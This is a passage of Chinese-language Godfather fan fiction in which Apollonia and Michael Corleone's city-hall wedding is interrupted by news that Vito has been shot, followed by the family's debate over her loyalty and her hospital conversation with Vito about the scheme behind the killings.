三个多月前,她刚开学、搬入大学附近的公寓,外号土耳其佬的西西里人维吉尔.索洛佐向科里昂家族递来合作卖白面的意向,当时维多以身后的大人物们不会支持这桩生意为由拒绝了,私底下派卢卡.布拉齐潜伏,以期抓到把柄、将它们作为礼物送给纽约警局局长。
昨天傍晚,布拉齐送来消息,索洛佐和布鲁诺.塔塔利亚有所松动、即将约他一叙。出于谨慎与一些其它的原因,维多将这件事告诉了她,并袒露相关政治关系。
艾波明白这是对她的莫大信任,作为回报,她要做的自然是为这份信任加一份传统的、稳定的注脚。
没有比婚姻更牢不可破的利益关系了。
他的唇贴了上来,柔软的唇瓣伴随轻微地颤栗,热情却小心翼翼地伸出舌尖,贪婪却克制地将她拽回现实。艾波回吻,手指穿入发丝,安抚他的激昂情感。
好不容易穿戴整齐赶到市政厅,时间已经来到十点,大理石的两层建筑由冬日少见的灿烂阳光所笼罩,白得近乎发光。
和新英格兰地区的大多数建筑一样,眼前的市政厅杂糅了英法两国的殖民地风格,介于恢弘大气与实用简约之间。
今天是周五,加上政府暂时取消了结婚申请与婚礼必须间隔一天的时间限制,大厅里办理业务的人多得像过节,大多是和她们一样的年轻男女,先在一楼小房间内申请结婚证许可证,然后在长长的木椅上等待叫号。
像看病候诊一样,某种层面来说,爱情和流感无甚区别,结婚则是一剂退烧药。
这么看,高烧不退的人不少啊,她不由笑起来。
“怎么了?”他问。
“没什么,”她随口解释,“没想到会有这么多人,不知道今天能不能轮到。”
“那我们回家?”他单手搂着她的肩。
艾波笑嘻嘻地回:“好呀。”
虽这么说,她没动、他也没动。
等待的时候,她靠进他怀里,翻看他从达特茅斯带回的书,阳光穿透玻璃窗落在书页,超脱嘈杂环境的安宁,她一时忘记了时间。
不知不觉排到了号,在柜台填表、花了三刀拿到结婚许可证。
“小礼堂在隔壁,”工作人员头也没抬地给了一张新号码条,“大概在四点左右排到,记得带见证人。记住,是十八岁以上的,也要核验身份。”
嗯?见证人?
艾波问:“要是没有见证人呢?”
工作人员掀起眼皮瞅她:“那婚姻无效。下一个!”
走出市政厅,去附近餐馆吃午饭的路上,艾波皱眉问他:“你觉得这会儿,我们找谁做见证人比较合适?
“汤姆吧。”他回答得很快,显然走出来的这段路已经考虑清楚人选了,“弗雷多跟爸爸在上班,他要是来了一定会惊动橄榄油公司的其他人,搞不好克莱门扎他们也要来了。妈妈和康妮在维加斯,一时半会儿赶不回来。至于桑尼,我觉得请他当见证人来不算是好兆头。”
艾波笑了,和她想的一样。“那你打还是我打?”
“有区别吗?”
“当然有!”她单手挽上迈克尔,“我打,算是我想和你结婚;你打,算是你想和我结婚。另外——”
她摇摇手上的书本,“我想多看一会儿。”
“好吧,”他没有戴手套,热烘烘的手掌包住她的手,“先说好,我不一定能把他叫来。”
艾波咧嘴:“那我们就随便马路上找一个来做见证人。”
两人本想去中国城吃面,步行来回四十分钟左右,算上吃饭的时间,正好打发市政午休这段时间。可刚走过一条斑马线,布鲁克林牛排馆的刷漆招牌印入眼帘。
一家开在曼岛下城的餐厅却叫着隔壁区的名字?实在有趣。更别说透明的玻璃窗外支起红白条纹的遮阳篷,底下几张铁艺的桌椅,能望见市政厅顶部白闪闪的塔楼,非常悠闲惬意。
“我们在这里吃吧,晒晒太阳。”艾波说。
迈克尔自然答应。坐下后,他过了一眼菜单,再次站起来,指指马路对面的电话亭:“帮我点五分熟的菲力,我去给汤姆打电话。”
艾波从花花绿绿的菜单里抬起眼,目送着棕色大衣的男人奔过马路,拉开电话亭的门走进去,红色的玻璃亭仿佛一个精美的礼物盒,端端正正地罩住他。
他上方,五层楼高的公寓如同悍然巨物,一排排紧闭的玻璃窗,无数只低垂的眉眼。
很快,他出来了,跑过楼宇间漏下的光带,一瞬间照亮的脸庞,承载着近乎似烟火的灿烂感情。接着,阴影重新落下,他对上她凝望的眼神,回以一个远比刚才阳光照亮更热烈的笑容。
“汤姆答应了,”迈克尔在对面坐下,“他说等下事情办完,我们可以顺道去梅西买些圣诞礼物。他想不好送什么给特蕾莎。”
“好呀,”沙拉已经上来了,她插着烤面包丁吃,“你想好买什么圣诞礼物送给我了吗?”
他也挑面包丁吃,叉尖故意选她插起的边上那几块,“嗯哼。”
“你不会想要把你送给我吧?”
玩笑似地说完,她看见男人一声不吭,眼神虚晃着、就是不敢与她对视。
“喂喂喂,迈克尔.科里昂,”她咽下食物大声说,“钻石戒指、宝石项链、珍珠耳环,起码得有一份。”
“我以为你不会关注这些,”他眼里充满了歉疚,“晚上你看中什么只管买。”
“我爱你,迈基。”艾波开心地探身吻他的脸颊。
结完账,两人沿着市政厅走了几圈消食,下午重新坐会长椅,她继续读书,迈克尔则翻阅随手买的报纸。
时间一分一秒过去,地面的金黄倒影逐渐爬过脚背,攀上高高低低的肩膀和墙面。
四点一刻的时候,汤姆.黑根赶到了市政厅。
“迈克!”他看上去精神不错,是每个打工人提前下班时,脸上焕发着的疲惫的喜悦,见面便夸:“噢!艾波你真是太美了!”
她今天穿的是正常的连衣裙,外面罩了一件杂毛大衣,不难看,但要说漂亮,那纯属客套了。艾波白了他一眼。
汤姆并不生气,反而调侃道:“就这么决定了吗?打算在迈克这棵树上吊死了?”
“嘿!”迈克尔不满地抗议,“别让我后悔叫你来。”
艾波满不在乎地耸耸肩:“试试喽。”
汤姆笑起来,拍拍受挫男人的肩膀。
三人在大厅里又聊了会儿天,周围的人一点一点变少,终于工作人员叫到了她们的名字。
和上午申请许可证一眼的流程,填表、签字,然后由牧师领着进入小
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礼堂。
狭窄的空间、不甚明亮的光线,空气中浮动的、人类聚集产生的骚臭味,就连墙壁上那一幅市政厅的壁画都粗糙得像在县城照相馆。
牧师困乏地站在简陋的布道台后面,强打精神指挥着他们站到各自的位置。
真到了这一刻,无论出于何种目的,全世界只剩下她和他,站在不存在的神明面前宣誓,艾波才意识的她真的要结婚了,即将迈入她从未有过的关系里。一切真实到像做梦一样。但神奇的是,她竟然不觉得害怕,甚至内心深处存在着隐隐的期待。
“等等。”她看向牧师,他见怪不怪地将手从圣经上移开,立刻转身准备走下布道台。
而身旁的男人呼吸早已在她说出口的那一瞬间停驻了。
“我想说一说婚誓。”她握上他的手,触碰滚烫、粗粝的肌肤,感觉一片踏实。
牧师本想拒绝,但汤姆朝他笑了笑、做了个数钞票的动作,他又站回了原位:“好吧。”
艾波看向他,看向那双漆黑的、闪耀着幸福光辉的大眼睛,“迈克,我没有想过会结婚,从来没有过。生活是那么有趣,无数的问题等待着我们去解决,为什么要执着于某一段感情呢?但是,忽然有一天,你出现了,你不仅是我的爱人,更是我的朋友、家人。我可以想象某一天帝国大厦倾颓倒坍,却无法想象生命中没有你。这也许不是你想象中的婚礼,但我想说,”
走廊忽然传来急促的脚步声,艾波听下了话语,先一步走到门口,看见克莱门扎的儿子乔.克莱门扎奔过来,身后跟着安良堂的帮手华裔少年莫周:“艾波!”
她迎上去,在走廊与两人碰头,“出什么事了?”
乔.克莱门扎跑得呼哧呼哧地,看看她身后追出来的迈克尔和黑根,既像气急说不出话又像欲言又止,倒是莫周快人快语:“唐被杀咗。”
什么?!
艾波深呼吸,先低声问:“什么时候的事?开车的纽扣人是谁?弗雷多怎么样?我们保护的人呢?”
见她此般态度,那张酷似克莱门扎的小胖脸也放缓呼吸,逐一小声回答:“五分钟之前的事,就发生在橄榄油公司楼下,我们的人第一时间叫了救护车、也给唐止血了。两名杀手,跑得很有经验,其中一个腿部中了一枪。应该跑不远。弗雷多吓傻了,没有受伤。”
这四个问题,他只回答了三个。最近半年桑蒂诺的心思在情妇身上,手下人没赚到钱,要么跳槽、要么混日子,这段时间负责维多安全的纽扣人全是克莱门扎提拔的。毫无疑问,叛徒不是克莱门扎就是那个年轻人。无论哪一个结果,对乔来说都不算好消息。
那么,对她来说,好消息是什么?
维多.科里昂没有死算一个。虽然她势力日渐庞大,但缺少禁酒令时期的积累,政治关系远不如教父深厚。
汤姆.黑根在她身边没有出事则算另一个。詹科.阿班多去世后,他便被正式任命为家族的军师,知晓维多的全部计划,能提供不少情报方面的支持。
坏消息呢?也是两点。
首先,计划完全落空,因为她犯了一个最为致命的错误——自大。不过现在不是检讨的时候,她的人手都还在,目前看来没有背叛她的意思,她苦中作乐地想,这就不算最坏消息。
其次,她是否存在暗杀唐.维多.科里昂的嫌疑,或者说纽约与波士顿、芝加哥等地的黑手党头目是否会以此为理由,打着替维多出气的幌子,铲除她这个的背叛者?
这一连串想法快速闪过脑海的同时,她快步往室外走,晚霞迟迟不愿离去,紫醺醺地晕染在天际,嘴里发出命令:“乔,带上你父亲去卢卡家叫醒他,告诉他卧底计划失败、今晚不用和塔塔利亚会面了,唐要求他暂时住到林荫道。”
“莫周,留下一个班的人结算今天蹲点的费用,剩下的人各自回家休息,随时待命。”
“汤姆,你和我一起,我们直接去法兰西医院。”
“那我呢?”
艾波看向那个差一点就成为他丈夫的男人。“回家去,安抚妈妈。”
这是她的失败,与他无关。
*
28.Chapter28
早晨七点,迈克尔来到餐厅,外边天色大亮,餐桌上方的大灯也亮着,放出聊胜于无的白光。
空气里飘着煎培根的芬芳,特蕾莎在灶台前忙活,听到脚步声,她回过头来:“早安,迈克,桑德拉送孩子们去上学了,今天我负责大家的食物。要吃三明治吗?”
保养得宜的脸昏黄憔悴,显然一夜未眠。
迈克尔看在眼里,拉开坐椅:“谢谢,汤姆还没回来?”
“是啊。”她叹气,“昨晚八点打电话回来,让我先和孩子们睡觉。”
“对了,艾波还没起吗?虽然现在不是好时候,不过我还是好奇,你们打算去哪里度蜜月?我和汤姆去去了迈阿密,阳光不错。”
迈克尔僵硬扯嘴:“看她的想法吧。”
特蕾莎翻动着锅里的东西,背对着他,以过来人身份调侃道:“其实去哪里都无所谓,反正你们都会腻在房间里不出去。”
这时,院子里模模糊糊传来人声。
“我去看看。”迈克尔起身走出餐厅,打开大门。
家族常见的黑色福特轿车前,汤姆孤身走来,日常一丝不苟后梳的金发飘摇在额前,整张脸白得像是新刷的石灰墙,上面沁着潮冷的水珠。
等他走到近前,迈克尔出声问:“汤姆,还好吗?”
“还成。”汤姆提了提嘴角,疲惫的眼神与他一触即分,脚步没有停顿,径直从他面前走过。
特蕾莎冲出来拥抱、亲吻丈夫,手指梳理凌乱的金发,眼里含着泪水,不住地询问情况。汤姆什么都没说,只低头亲吻她。
抱了片刻,桑尼风风火火地从隔壁过来了,一进家门劈头便问:“现在什么情况?艾波到底在做什么?卢卡人呢?”
特蕾莎擦拭眼角,疑惑地看过来。
“你去忙吧。”汤姆柔和地抚摸妻子的肩,等她的背影拐进餐厅,才对桑尼说,“书房细谈,最好把克莱门扎和忒西奥也叫来。”
穿过起居室、往书房走时,律师还开了个苍白的玩笑:“好消息讲一百遍不嫌多,坏消息一遍就好。”
迈克尔跟在他们身后走进书房,百叶窗紧闭,浅色的墙纸和天花板藏在昏暗里,烛火般的落地灯蒙蒙亮,黑棕色的书架、壁炉、窗框反射光点。
这是父亲统领疆域的地方,他鲜少踏入,可眼前宽大办公桌、装饰性大于实用性的壁炉、粉彩陶瓷罐……一切陈设是如此熟悉,熟悉到他闭着眼睛都能走到小书桌旁、分毫不差地摸到电话听筒。和梦里几无二致。
“迈克,我不想赶你”
桑尼话还没有说完,他拨通了克莱门扎的电话。胖老头已经起床,声音带着晚睡的沙哑:“桑尼,怎么了?”
“是我,”迈克尔说,“汤姆回来了,有不好的消息,你来一下。”
挂断通话,他又熟稔地拨给忒西奥,一样的内容,语气冷漠且带着不容抗拒的力量。
他的表现吓到桑尼和汤姆了,以至于汤姆不再卖关子,像是安抚一匹受惊失控的马,又快又稳地说:“迈克,目前没有找到尸体,无从确定是否出事,艾波只是暂时没有联系……”
尸体?艾波?
他被这消息砸愣了。
自醒来一直存在的抽离感骤然砸碎,鼻尖竟然出现战场上才有的、混合来热浪硝烟泥涂的腥臭味。
梦里那场爆炸突入现实,死亡具现化地震荡在耳边,烈火焚烧着只剩下四个轮子和钢梁的阿尔法罗密欧,心爱的姑娘化作烧焦的碎块。
她是艾波,是和他一起长大的艾波,并不是梦里那个天真无知的西西里姑娘。她们只是长得一样,并不是同一个人。他不断地告诉自己,仿佛这样就能摆脱那一阵又一阵可怕的心悸。
脑袋嗡嗡作响,迈克尔凭借最后一丝理智勉强撑着小书桌,问:“她叫艾波洛妮亚.维太里,对吗?”
“对啊,怎么了?”桑尼回答。
办公桌、壁炉、陶瓷罐猛然高高地倾在一边,迈克尔无力地望着它们,明明睁大着眼睛,可像是无法对焦的相机,视野模糊成一片,他伸手摸眼睛,那里并没有泪水。有人凑近搀扶他坐到沙发,对他说了一些话,听不清具体字眼,仿佛水底传来的隆隆回响。
百叶窗倏地拉起,白光铺天盖地地照进来,刺得眼球发痛。迈克尔扭过头,一团亮得刺眼的东西跃入眼帘。是唐人街送的白瓷像。
他还记得这尊瓷像来家里的场景。彼时,他们刚搬入不久,几位华人堂主前来拜访,在家里转了好几圈,最终定下了位置,郑重地从木盒里捧出红色绸布包裹的瓷像,正正经经地摆到了那个位置。然后,父亲依次让桑尼、汤姆、弗雷多、他和艾波对这尊瓷像鞠躬。其中一位堂主微笑着解释说这能保佑他们家兄弟和睦、平安富裕。
迈克尔盯着那团白,眼睛一点一点聚焦,逐渐看清圆脸圆肚的东方面孔,气度不凡地坐姿,垂落到大腿的胡须。艾波说这是关公,她还说事在人为,这瓷像就像妈妈的十字架一样不可信,但她又找了一块绒布专门给他擦拭灰尘。她总是这样矛盾又独特。
她是艾波。她当然不会有事。
这个简单直白到没意义的想法,仿佛一剂强心剂,大脑竟然恢复清明,注意力重新回到眼下的情形,他发现不知什么时候两位军团首领已经到了。一人坐在一张皮革扶手椅里。
忒西奥那张在小书桌旁,右手搭在桌沿,随手准备接听电话。克莱门扎坐得更远一些,一手拿着三明治,一手握着咖啡,大口吃着早饭。
桑尼坐在父亲的大办公椅,自桌后面微扬下颌,开口道:“汤姆,说吧。”
迈克尔一阵庆幸,幸好错过关键,根据汤姆的叙述和克莱门扎的补充,他大致拼凑出昨晚的情况——
克莱门扎父子找到卢卡.布拉齐,向他讲明了唐中里冷枪、并要求中止卧底行动,不料布拉齐一口回绝,认为在这样局势不明朗的情形之下,他更加要继续唐的计划,求得机会报仇。艾波得知后,竟然直接赶到四十八街的意大利餐馆蹲他,两人不知谈了什么,带着叛徒保利一同赴了塔塔利亚的约,这被巡夜的街警察看见了。
“卢卡和索洛佐的尸体出现在东河这边的猎点公园,六点左右被清洁工发现,卢卡掌心被塞了一团纸,写了联合这个词,像孩子的涂鸦。医院里到处都是查老爷子警察。内线辛普森警官和我说,那名街警的上司麦克劳斯凯放出话来,说一定要抓到艾波这个杀人凶手。”
“麦克劳斯凯是谁的人?”桑尼问。
克莱门扎说:“谁都不是。他惯爱在开奖前突击簿记点,让负责人出钱赎回投注单。不过这套玩法在艾波手里吃不开,她从来都只认投注小票的,簿记点里的回单不过是记账留底用的。这头爱尔兰笨猪没在艾波手里敲到过钱,早就怀恨在心了。”
桑尼点头表示知晓。
汤姆接着分析:“他们四点的会面,到发现尸体不过两个小时,那地方水流紊乱,无论如何也无法将三具尸体同时冲到一个地方。一定有人抛尸,可能是塔塔利亚。”
也可能是艾波。这就涉及到另外的问题——她到底有多少他们不知道的帮手?她到底想要做什么?她在哪里?
“该说不说,这事儿确实漂亮。”桑尼没有想那么多,他拿起壁炉上的酒瓶给自己倒白兰地,“敢动我们的唐,我们让他连太阳都见不到。只是可惜了卢卡……汤姆,作为军师,你有什么想法?”
“原本我会建议和索洛佐谈判以控制局面直到你父亲康复。可现在他死了,又出现一张意味不明的纸条。我认为我们应该提起精神,预防其他几大家族的攻击。”
“预防?”桑尼皱眉,“你是说他们会因为一个土佬来搞我们?”
汤姆不动声色地看向一直没有说话的军团首领,解释说:“白粉生意赚钱,原先塔塔利亚怕被分一杯羹,不会将这桩买卖传开。但目前这情况,生意暂时无法开展,没有了保密的必要,不如拿这件事为理由,从我们身上撕下一块肉。毕竟,我们拒绝了白粉生意,还升级了战争。”
迈克尔注意到特西奥目光闪了闪。
“那就打!”桑尼敲桌子,“我们还怕他们吗?”
汤姆今天似乎打定主意要和桑尼对着干,有力地否定道:“我们打不过。你父亲在医院,没有他的个人魅力和政治界关系,没有大人物愿意出面帮我们说话。”
“艾波的人出现及时,爸爸伤得不算重,很快就可以康复出院。”
汤姆冷酷地回答:“但我们没有钱了。政治关系要靠经济维系的,我们的现金都流去维加斯、进了莫.格林的酒店,债券一时半会抛不出去。没有钞票,那些政客最多看在父亲的面子上口头答应一两句,转脸就像妓女那样不认人了。而且,桑蒂诺,我可以告诉你,真的打起来,哪怕彼得和萨利可以拉出千人的队伍,我们手头的钱最多只够打上半年。”
“半年?”桑尼咧嘴一笑,“你觉得我们会打这么久?最多三个月。再说了,不是还有菠菜和泡面厂的收入吗?”
“布鲁诺.塔塔利亚还活着,这非常关键。”一直沉默的忒西奥忽然出声,“是不是有勾结?”
没有直接指出,但所有人知道是谁。话题转了一圈,又回到了那个名字。
艾波洛尼亚.维太里。在场的人都清楚她对菠菜交易中心的影响力,只要她递回一句话,那批打算盘的年轻人立刻会搞出一时难以察觉的、却让家族损失惨重的动静来。她十二岁就玩这一套玩得风生水起了。
更别说泡面工厂了,这些年家族一直作为股东的身份拿分红,并未直接参与管理。全美各地总计五间工厂,半数意大利人、小半华人、零星的亚裔和非裔,这些工厂负责人直接向她和程乔义汇报,如今程乔义走了,说她一句大权独揽不为过。
这样的她,凭什么和塔塔利亚家的皮条客勾结?
迈克尔极力掩饰对忒西奥的轻蔑与愤怒,神色平静地出声:“她是科里昂家的人,她不会背叛我们。”
忒西奥笑起来,语重心长地说:“迈克,你和她睡过觉,我知道。但她不是你学校里乖乖的女同学,远的不说,仅这半年,她就杀了不少人,甚至专门在费城买了间陶瓷厂,再也不用担心尸体处理了。”
简直无稽之谈。她从来信奉法律、信奉生命。
忒西奥瞧出他心中所想,微微一笑:“你不相信不要紧。她到你们家的原因是无法骗人的——她一个十岁不到的小孩子用鸟枪杀掉了三个宪兵,对吧桑尼?当时你在西西里,知道得最清楚。”
迈克尔看向办公桌后的大哥,不知何时,桑尼站了起来,身上的表情也褪去了刚才的快活,变得沉默而严肃,“是的…我跟姆塞蒂去看过现场,非常利落,脑袋彻底开花。”
他知道当年艾波请求父亲和桑尼帮忙解决纠缠她姐姐的宪兵,以为她最多参与策划了行动。而不是像他们说的这样,她真刀真枪地杀人。一时无言。
“眼睛看到的不一定是真的。我认为唐这些年还是看走眼了,她是条反咬农夫的蝰蛇。”忒西奥认真说道。
眼睛…真的……
依稀之间,父亲那看穿一切的眼神浮现在眼前,“面对爱的人,要用心。”
眼睛…心……
霍然间,没有任何推理,一切线索在脑海汇聚、串联,心跳因为这个念头快得不像话,一阵森然美妙、与方才截然不同的心悸袭来。迈克尔忽然想明白了。
他垂下眼眸,语气又慢又重,像老磨盘碾面粉:“好吧,她确实有背叛我们的可能。既然这样,我们更不能和他们对着干。联合这个词很妙,大家一起赚钱,我想这才是世界大战结束第一年该做的事。”
桑尼拧眉:“你的意思是我们和塔塔利亚谈判,做白面生意?”
迈克尔耸耸肩:“没有坏处不是吗?卢卡替爸爸报仇了。接下来我们该考虑长远的发展。”
桑尼沉吟片刻,说:“先接触一下总没有问题,萨利、彼得,你们怎么看?”
两个首领同时微笑。忒西奥的笑容更为真诚:“我没有意见。”
“汤姆,你呢?”
汤姆表情不算好、也不算差,没什么精神地拿起雪茄盒发给众人:“好吧,希望唐知道了不要生气。”
咖啡色的烟递到眼前,他抬头看汤姆,军师也在看他,背光的脸看不清神情,劝道:“抽一根吧,爸爸最爱的高贵牌雪茄,现在没人管我们。”
这个人自然指的是艾波,汤姆在试探。他笑着接过,叼着雪茄说:“如果真是最坏的结果,请把她留给我。”
“迈克,她是我们的妹妹,我们谁都不想杀她。”桑尼转向两位首领,“萨利,你去联系布奇其奥家族,请他们做调解人和人质,我要先和菲利普.塔塔利亚谈谈。汤姆,给维加斯打个电话,让莫.格林准备准备,来纽约主持纪律委员会。彼得,我要你派人盯紧唐人街,另外再带一队人马找艾波。迈克,我知道你状态不好,待在家里或者去医院看爸爸都行。”
“我要去找艾波。”
这话一出,三道目光钉到脸上,迈克尔无所畏地看向下达命令的人:“我知道她在纽约所有的住所。桑尼,我只是想帮忙。”
克莱门扎帮腔:“也许迈克会引她露面。”
“也对,”桑尼让步了,笑嘻嘻调侃道,“迈克,你跟着彼得,保护好自己,别被她抢了去。”
所有人哈哈笑起来,一扫沉重的氛围,空气都快活几分。
伴随三道命令的发出,黑色轿车进出林荫道,纽扣人警惕地把守各幢别墅,家族进入备战状态。
一连八天,整个圣诞假期,迈克尔带人踏遍了纽约,从布鲁克林的冰淇淋店到皇后区的小餐馆,只要是他们约会过的地方,他全带克莱门扎看了个遍。
其中第六大道的冰淇淋店老板还记得他,多送了一小盒冰淇淋,“回去多哄哄她,女人是靠哄的。”
他把冰淇淋给了克莱门扎,胖老头笑呵呵地接过:“正好给我老婆。”
这八天里,塔塔利亚和科里昂达成了停战的共识,索洛佐身亡、唐.科里昂重伤,算作持平,没有引发更大战役的必要。两大家族牵头,纪律委员会的发起人、莫.格林于1945年的最后一个礼拜日上午召开大会,商议白粉生意。全美黑手党家族都来了。
同一天清晨,母亲一身做礼拜的深色正装,花白的头发整齐地拢在发网里,这是父亲出事后的第一次弥撒,她格外重视,早早催他出门。
“等下从教堂出来,和我一起去趟医院吧。你一次都没去看过他,我不知道你怎么想的,无论如何这都不像儿子该做的事。”
坐进车内,耳旁是母亲的喋喋不休,迈克尔看向窗外,如梦似幻的朝霞,一扇又一扇的窗户,仿佛一双双薄紫的眼,无声地凝视他。
美妙的心悸再次笼上躯体,他不由笑了。
“还不急,妈妈,我还有一件事没有做完。”
*
如何成为纽约乃至东海岸地下世界的主宰?
这个问题艾波思索过无数回,哪怕在局势逐渐紧张、蓄势待发的此刻,她仍觉得像航行在夜雾弥漫的湖面,看不到清晰的答案。
但方向总是有的。远到梁山好汉,近到芝加哥的卡彭,无非那几点——拥有强大暴力的同时,尊重、讨好大人物,必要时不惜一切代价替他们解决问题。
现在他们的小烦恼是什么?庞大的战争赤字和通货膨胀。
“紧张吗?”
身后传来沙哑的嗓音,艾波回过头,发现维多.科里昂不知什么时候醒了,面色灰黄地仰躺在白枕头,眼神一片清明。
她连忙扶他坐起来,去外间倒了一杯水,等他喝下后,收回杯子、替他掖了掖被角。
“谢谢,护士小姐。”维多笑道。
倒也不算玩笑,为了掩藏行踪,她身上穿的确实是护士服。
艾波在病床边坐下,继续之前的话题,静静地说:“我确实紧张。处理掉其它家族,至少可以填补一些市政亏空,也更方便议员收税、收选票。但是,我们不是什么冠冕堂皇的、报仇之类的理由,仅仅出于利益而铲除敌人,但我总有些不安。唐,你该知道的,这其实已经打破了缄默原则,我们在做叛徒。”
维多笑了,话头一转,说起不想干的话题。“你到我家整十年了,我还记得第一次见到你的场景,当时我就想,这么小一个男孩
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有这么大的力气,保不齐长大是另外一个卢卡.布拉齐,我该收留他,给孩子们留一两个助力。”
“当时您就想带我来纽约了?”
“是的。没有西西里父母会拒绝送儿子去美国过好日子的。”
“但我是女孩。”艾波笃定,“您要是开口,我父亲一定会拒绝的。”
“那我就不知道咯,现实是你来了我家。”维多笑着笑着看向窗外,逐渐明亮的建筑,那双漆黑的眼珠仿佛也染上几丝天空的灰。
老人出神地望了几分钟,艾波没有打扰。
“对了,我给你讲个故事。”他稍稍回神,视线仍落在窗外,“很久以前有个男孩,他父亲和兄长被人杀害,他母亲拼了命将他送到了美国,自己死在黑手党的枪下,十五年后,这个男孩回到了西西里,替家人报仇了。很精彩的故事,不是吗?”
“但现实是,他在纽约的橄榄油生意越做越大,他和他的朋友们不再甘愿做二道贩子,想要掌握货源。而这个黑手党头目手握家乡最大橄榄油庄园,油水捞得太多、让领主忌惮。处理了他,其它的黑手党高兴、领主也开怀。”维多转过头来,微笑着说,“你是摩登新一代,脑袋灵活,我没什么可以教你的,但这一点你可以试着记一记——生意就是个人恩怨,个人恩怨也是生意。没什么好不安的。”
“好,”艾波郑重点头,“我记住了。”
冬天的早晨亮得没有夏天那么快,但倏忽之间、在观众反应过来前,那混沌的灰黑已经不见了踪迹,只剩亮堂堂的建筑、街道与行人。
真正的护士推着装药品的小车进来,为维多清洁创口、更换纱布、测量脉搏。艾波在旁边打下手,递递纱布和剪刀。
子弹几乎避开了所有要害,只刮擦过一点肺组织,斜卡在肌肉和骨骼里。查房的医生说再过两周维多能回家修养了。
听过医嘱,艾波和值守在门口的陶德交代了几句,便出门买早餐。穿过走廊,轻车熟路地和早班护士们打招呼,她一路走出医院,曼哈顿的空气不算好,没有植物的过滤,噪音和尘埃在楼宇间乱碰乱撞。
她拐进医院隔壁的小餐馆,人不少,热热闹闹的,好不容易排到队,她对老板说:“两份牛奶麦片粥和四份热狗,打包带走,碗过会儿送回来。”
没过一会儿,老板的大女儿詹妮弗拎着放有粥和热狗的小提篮出来,粥碗用锡纸牢牢裹住,不容易漏洒,她调笑道:“老样子哦。”
艾波笑着回答:“午餐一定换口味。”
回到病房,维多已经清洁完毕,由陶德搀扶着坐回病床。见她回来,年轻的纽扣人拿起早餐安静地离开病房。
房门合拢,维多夸赞道:“是个好小伙,比我老婆还细致。”
要是平时,艾波高低得讲讲护工这门生意的优点,鼓动维多下场投资。可今天实在没有心力。她笑一笑没说话,把揭掉锡纸的碗递给病人。
维多不以为意,舀了一勺粥,慢慢吹、慢慢吞咽。半晌,他问:“我想现在你可以告诉我,原来打算采取的行动是什么了吧?”
说起这个,艾波内心不可避免地升起羞悔之情,确实是她决策失误,导致维多.科里昂中弹受伤。她放下自己那份燕麦粥:“非常拙劣的计谋。我拿自己和迈克尔做诱饵,想让索洛佐在市政厅杀掉我们,这会是大新闻,将点燃民众对黑手党的厌恶,打击我们对警察来说只有好处,可以扩充编制、申请预算。”
“噢?”维多一下子点到关键之处,“为什么你能让索洛佐想要杀掉你?”
“因为他认为我有力量掌握家族。”艾波大大方方地说,“半年前您把我逐出家族生意,我的行动充分表露了野心与不甘。发起火烈鸟酒店集资,他们以为我拉拢了汤姆;和乔义进一步亲近,他们见识到我的手腕;之后乔义离去、两轮擂台赛,我在他们眼里有了利用、合作的价值。但这不算什么,科里昂家族最强大的力量是您。没有您的影响力,科里昂只能算三流家族。”
维多笑着抬手制止她的吹嘘行为,顺着她的话讲,“直到你和迈克尔结婚。一个掌握东西海岸唐人街、手握上百万产业的女人,当她正式嫁入政治影响力不弱的黑手党家族,将孕育出最强大的对手。你确定是索洛佐杀你们?”
“是的,”艾波肯定地说,“五大家族中高层几乎都被架空了。我知道索洛佐背后是巴西尼,塔塔利亚永远只是拉皮条的。但他们的联系并没有我们想得那么紧密,索洛佐只想卖白粉赚钱,谁愿意合作赚钱他听谁的。我作为一个比您还激进的、连雪茄香烟都不抽的女人,自然不会是他的理想合作对象。”
维多长长地叹息,“最佳合作对象是桑蒂诺,三个月前的会面,这小子嘴快插话了。话说回来,他确实对白粉心动过。”
“所以,对索洛佐来说,那一天,他有两个选择。我、您。他选择了您。”艾波仰头将凉透的粥一饮而尽。
“这是索洛佐对你的轻蔑。”维多评价道,“他认为我死亡以后,你会被他和桑蒂诺联手击败。”
艾波微微一笑:“没错。”
索洛佐犯了大男子主义的毛病、瞧不起他,于是她亲手送他送上了黄泉路。
维多.科里昂长长地沉默,又问了一个至关重要的问题,“你怎么保证桑蒂诺他们选择摒弃前嫌,召开会议呢?”
艾波摇了摇头,直言不讳:“我无法保证。这个计划的关键在于我隐藏幕后,只有这样,那些心眼子比洋葱还多层的唐才不会左右下注,一门心思相信桑尼前往赴约。”
事实上,这个计划几乎是那夜她和卢卡.布拉齐对话过程中的灵光一现,原本她只是想让布拉齐处理掉叛徒保利的。
“思来想去,我留下了那张字条。united,联合、团结,完全可以解释为巴西尼对全美黑手党的号召,一道做白粉生意,也可以看作对科里昂家族的警告,要团结、要记得纪律委员会建立的初衷。”
“非常精妙。”维多夸赞,“而且,在杀掉索洛佐、替我报仇这一彰显肌肉的行为过后提议开会,展现王者风范,没有人会质疑。但还是那个问题,你怎么百分百确定桑蒂诺、黑根他们按照你的意思走呢?”
这追问显然醉翁之意不在酒了,艾波瞪向教父,争辩道:“我奖励他吃冰淇淋了!”
维多柔声说:“也许他想要更好一些的交代?”
艾波知道这是在替他讨待遇,无奈说:“虽然我目的不纯,但对他的感情是认真的。等事情结束,再结一次婚就是了。”
维多微笑着叹气:“只能这样了,希望一切顺利,到时候把你父母都叫来。”
一切非常顺利。
中午换上常服到隔壁小餐馆吃饭,点餐时,没等她开口,詹妮弗就兴高采烈地推荐起新出的幸运套餐,“吃了这个套餐,保准您下注的棒球全垒打、打出的每一颗保龄球都是全中。”
“谢谢。”艾波笑道,“借你吉言。”
维多的午餐由医院营养师特制,不需要打包,卡梅拉陪着用餐。艾波便选择堂食了。
她坐在餐馆角落,看着套餐发愁。包含的两颗煎蛋、一块土豆丝煎饼、三根香肠、两块培根,搭配一大杯可乐,觉得自己吃完就离三高的胖女人近了一步。
今天阳光很好,光线穿透玻璃,照得店里像暖房。
正当她吃完香肠,努力咽下第二颗太阳蛋时,眼前忽然罩上一层浅淡的阴影。
迈克尔.科里昂突兀地出现在她面前,苍白到冷鸷的面庞,却有一双甜度超标的眼睛。此刻那眼底的情谊,如同初夏的那场急雨,叶片凝坠的水珠,滚烫、透明、潺潺不绝的河。
餐馆里坐满了人,他对那些好奇的目光视若无睹,就这么静静地看着她。
仿佛彼此之间隔着一重山、一湾海。
有时候真不知道这家伙在想什么。艾波没有叫他坐下,也没有让他离开,只缓缓吞下了嚼碎的蛋。
“艾波……”终于他出声了。
她再度抬眸看他,倒好奇这家伙憋这么久会说出什么话来。
“……新年快乐”
